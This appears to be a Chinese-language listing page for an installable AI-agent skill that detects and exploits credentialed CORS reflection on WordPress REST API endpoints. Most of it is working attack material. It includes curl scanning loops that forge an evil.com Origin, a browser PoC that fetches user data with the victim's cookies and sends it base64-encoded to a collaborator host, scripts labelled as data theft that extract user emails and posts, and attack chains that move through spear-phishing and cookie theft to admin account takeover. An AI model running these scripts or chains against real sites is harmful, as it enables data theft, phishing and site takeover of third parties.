关于 cors-credential-wordpress
用于评估 WordPress REST API 的 CORS 配置是否允许携带凭据跨域访问数据的安全测试技能,涵盖端点检查、浏览器 PoC 和影响验证。
主要功能
- 01检查 REST API 端点的 CORS 行为
- 02说明 8 种 CORS 配置变体
- 03构建浏览器 PoC
- 04验证非公开数据是否暴露
适用场景
- 01评估 WordPress REST API 的 CORS 问题
- 02验证浏览器请求是否暴露私有数据
- 03测试多个端点的 CORS 行为
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill cors-credential-wordpress安装后在 Claude Code 中输入/cors-credential-wordpress确认已加载。
详细介绍
CORS 凭据 WordPress 技能
检测、确认并利用 WordPress REST API 端点上的 CORS 凭据反射。CORS 配置错误是美国中小型企业 WordPress 网站中最常见的严重问题之一(约占所有 WP 目标的 7-8%),可利用受害者 Cookie 跨源窃取数据。本文记录了 8 种 CORS 变体,以及完整的浏览器 PoC 构造方法。
适用场景
wp-mass-recon标记目标存在Access-Control-Allow-Credentials: true后。- 测试任意 WordPress 网站的 REST API 是否允许跨源访问数据。
- 构建攻击链:CORS → 用户枚举 → 鱼叉式钓鱼 → ATO。
- 验证 CORS 问题是否可利用(而非仅确认其存在)。
前提条件
- curl 和 python3。
- 用于验证浏览器 PoC 的
web_extract或browser_navigate。 - 目标必须能够访问 WordPress REST API(
/wp-json/wp/v2/)。
运行方法
# Quick detection
curl --max-time 30 --connect-timeout 10 -skI "https://TARGET/wp-json/wp/v2/users" -H "Origin: https://evil.com" | grep -iE "access-control"
# Full CORS matrix (10 endpoints)
for ep in "users" "posts" "pages" "media" "comments" "categories" "tags" "settings" "plugins" "themes"; do
echo "=== /wp-json/wp/v2/$ep ==="
curl --max-time 30 --connect-timeout 10 -skI "https://TARGET/wp-json/wp/v2/$ep" -H "Origin: https://evil.com" | grep -iE "access-control|http/"
echo ""
done
快速参考
| 变体 | 检测方法 | 可利用性 |
|---|---|---|
| Origin 反射 + 凭据 | Access-Control-Allow-Credentials: true + 镜像 Origin | 严重 — 可窃取全部数据 |
| Null origin | Access-Control-Allow-Origin: null | 高 — 可利用沙盒 iframe |
| 无凭据通配符 | Access-Control-Allow-Origin: *(无凭据) | 信息级 — 仅限公开数据 |
| 带凭据的预检请求 | OPTIONS 返回 200 + ACAC | 高 — 若 GET 无需预检 |
| 仅认证接口泄露 | CORS 仅出现在受认证保护的端点上 | 高 — 窃取 Cookie |
| 多 Origin | 反射多个 Origin | 严重 — 攻击面更广 |
| 插件专用 CORS | CORS 仅出现在插件命名空间中 | 中 — 插件数据 |
| 仅暂存环境启用 CORS | 生产环境无 CORS,暂存环境有 | 中 — 取决于能否访问暂存环境 |
操作步骤
步骤 1 — 检测单个端点
curl --max-time 30 --connect-timeout 10 -skI "https://TARGET/wp-json/wp/v2/users" \
-H "Origin: https://evil.com" \
-H "User-Agent: Mozilla/5.0" 2>&1
肯定信号:
Access-Control-Allow-Origin: https://evil.com(镜像攻击者 Origin)Access-Control-Allow-Credentials: true(跨源发送 Cookie)Access-Control-Allow-Methods: GET(数据窃取途径)- 端点本身返回 HTTP 200(数据可访问)
步骤 2 — 多端点 CORS 矩阵
#!/bin/bash
TARGET="$1"
ENDPOINTS=(
"wp/v2/users"
"wp/v2/posts"
"wp/v2/pages"
"wp/v2/media"
"wp/v2/comments"
"wp/v2/categories"
"wp/v2/tags"
"wc/v3/products"
"wc/v3/orders"
"gf/v2/forms"
"elementor/v1/globals"
"revslider/v1/slides"
)
for ep in "${ENDPOINTS[@]}"; do
code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 10 --connect-timeout 10 "https://$TARGET/wp-json/$ep")
if [[ "$code" == "200" ]]; then
cors=$(curl -skI --max-time 10 --connect-timeout 10 "https://$TARGET/wp-json/$ep" -H "Origin: https://evil.com" 2>/dev/null | grep -i "access-control-allow-credentials: true")
if [[ -n "$cors" ]]; then
echo "[CRITICAL] CORS ON: /wp-json/$ep — data accessible cross-origin"
fi
fi
done
步骤 3 — 浏览器 PoC(保存为 poc.html)
<script>
fetch("https://TARGET/wp-json/wp/v2/users", {
credentials: "include",
headers: { "Origin": "https://evil.com" }
})
.then(r => r.json())
.then(data => {
fetch("https://YOUR_COLLABORATOR/log?d=" + btoa(JSON.stringify(data)));
});
</script>
步骤 4 — 数据窃取载荷
# Exfiltrate users with emails
curl --max-time 30 --connect-timeout 10 -sk "https://TARGET/wp-json/wp/v2/users?context=edit" \
-H "Origin: https://evil.com" | python3 -m json.tool | grep -E '"id"|"name"|"slug"|"email"|"roles"'
# Exfiltrate all posts
curl --max-time 30 --connect-timeout 10 -sk "https://TARGET/wp-json/wp/v2/posts?per_page=100" \
-H "Origin: https://evil.com" | python3 -c "
import sys, json
posts = json.load(sys.stdin)
for p in posts:
print(f\"{p['id']}: {p['title']['rendered']}\")
" 2>/dev/null
# Exfiltrate WooCommerce products
curl --max-time 30 --connect-timeout 10 -sk "https://TARGET/wp-json/wc/v3/products" \
-H "Origin: https://evil.com" | python3 -m json.tool 2>/dev/null | head -50
攻击链
链 A:CORS → 用户枚举 → 鱼叉式钓鱼 → ATO
- 利用 CORS 窃取所有用户的姓名和 slug
- 向管理员(
[email protected])撰写鱼叉式钓鱼邮件 - 发送指向 CORS 钓鱼页面的链接,以窃取 WP 会话 Cookie
- 使用窃取的会话以管理员身份登录 → 完全控制网站
链 B:CORS → Cookie 窃取 → API 访问 → ATO
- 受害者登录目标 WP 后访问攻击者页面
- 使用
credentials: "include"的 CORS fetch 请求会发送 WP 身份验证 Cookie - 攻击者重放 Cookie,以受害者身份访问
/wp-admin/ - 更改管理员邮箱、重置密码 → 持续访问
注意事项
- 预检请求被阻止: 某些服务器要求带自定义标头的 CORS 请求先执行 OPTIONS 预检。使用简单 GET(无预检)和带凭据的 fetch(会触发预检)分别测试。
- SameSite Cookie: 即使配置了 CORS,
SameSite=Lax或SameSite=StrictCookie 也不会跨源发送。请在浏览器中检查 Cookie 属性。 - WAF 干扰: Cloudflare 可能会移除
Origin标头或阻止跨源请求。请从非 Cloudflare IP 进行测试。 - 误报:
Access-Control-Allow-Origin: *且不带凭据 — 这只是公开数据,并非漏洞。关键在于Access-Control-Allow-Credentials: true。
验证
- curl 命令必须显示
Access-Control-Allow-Credentials: true,且Access-Control-Allow-Origin与攻击者的 Origin 匹配(不能是*)。 - 浏览器 PoC 必须能够使用凭据从不同源成功获取数据。
- 窃取的数据必须包含非公开信息(用户、文章、设置等,而不只是公开的 WP 元数据)。
评论
支持 Markdown